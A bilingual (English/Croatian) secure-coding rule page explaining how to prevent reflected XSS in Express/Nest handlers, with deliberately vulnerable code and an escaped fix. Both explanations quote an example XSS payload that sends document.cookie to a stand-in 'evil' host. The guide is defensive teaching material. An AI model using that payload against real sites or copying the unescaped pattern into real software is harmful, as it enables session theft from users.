Rules Hub
Coding Rules Library
Rule priority, scope & exceptions
Use this to align rules with the senior-level structure (P0/P1/P2, scope, exceptions/tradeoffs).
HTML-encode user data in hand-built server responses
When Express/Nest handlers emit HTML by string concatenation, encode interpolated request data and set a correct Content-Type to prevent reflected XSS and content sniffing.
Bad example
| 1 | app.get('/search', (req, res) => { |
| 2 | const q = String(req.query.q ?? ''); |
| 3 | // Reflected directly into HTML, no encoding |
| 4 | res.send(`<html><body><h1>Results for ${q}</h1></body></html>`); |
| 5 | }); |
| 6 |
|
| 7 | app.use((err, req, res, next) => { |
| 8 | res.status(400).send(`<p>Invalid value: ${req.query.value}</p>`); |
| 9 | }); |
Explanation (EN)
req.query.q is reflected straight into the markup. A request like /search?q=<script>document.location='//evil/'+document.cookie</script> runs in the victim's browser. Error handlers that echo request fields are an especially common and overlooked reflected-XSS vector.
Objašnjenje (HR)
req.query.q se reflektira ravno u markup. Zahtjev poput /search?q=<script>document.location='//evil/'+document.cookie</script> izvrsava se u pregledniku zrtve. Error handleri koji ispisuju polja zahtjeva su posebno cest i zanemaren vektor reflected-XSS-a.
Good example
| 1 | import escapeHtml from 'escape-html'; |
| 2 |
|
| 3 | app.get('/search', (req, res) => { |
| 4 | const q = String(req.query.q ?? ''); |
| 5 | res |
| 6 | .type('html') |
| 7 | .send(`<html><body><h1>Results for ${escapeHtml(q)}</h1></body></html>`); |
| 8 | }); |
| 9 |
|
| 10 | // Prefer a template engine with autoescaping for anything non-trivial: |
| 11 | // app.set('view engine', 'pug'); res.render('results', { q }); |
| 12 | // And return data, not markup, from JSON APIs: |
| 13 | res.json({ query: q, results }); |
Explanation (EN)
escape-html neutralizes &, <, >, ", ' so the value renders as text instead of markup. Calling res.type('html') sets an explicit Content-Type so the browser doesn't sniff. For anything beyond a trivial fragment, render through an autoescaping template engine, and for APIs return res.json so the client framework handles encoding at its sink.
Objašnjenje (HR)
escape-html neutralizira &, <, >, ", ' pa se vrijednost prikazuje kao tekst umjesto markupa. Poziv res.type('html') postavlja eksplicitni Content-Type da preglednik ne pogada. Za bilo sto vise od trivijalnog fragmenta, renderiraj kroz template engine s autoescapingom, a za API-je vrati res.json da klijentski framework rijesi enkodiranje na svom sinku.
Notes (EN)
Pair with the X-Content-Type-Options: nosniff header (e.g. via helmet) so a wrong/missing Content-Type cannot be reinterpreted as HTML.
Bilješke (HR)
Kombiniraj s X-Content-Type-Options: nosniff zaglavljem (npr. preko helmet-a) da pogresan/nedostajuci Content-Type ne moze biti reinterpretiran kao HTML.
Exceptions / Tradeoffs (EN)
Fully static HTML with no request-derived data needs no per-value encoding. JSON API responses should not emit HTML at all — return data and encode in the rendering client.
Iznimke / Tradeoffi (HR)
Potpuno staticki HTML bez podataka iz zahtjeva ne treba enkodiranje po vrijednosti. JSON API odgovori uopce ne bi trebali emitirati HTML — vrati podatke i enkodiraj u klijentu koji renderira.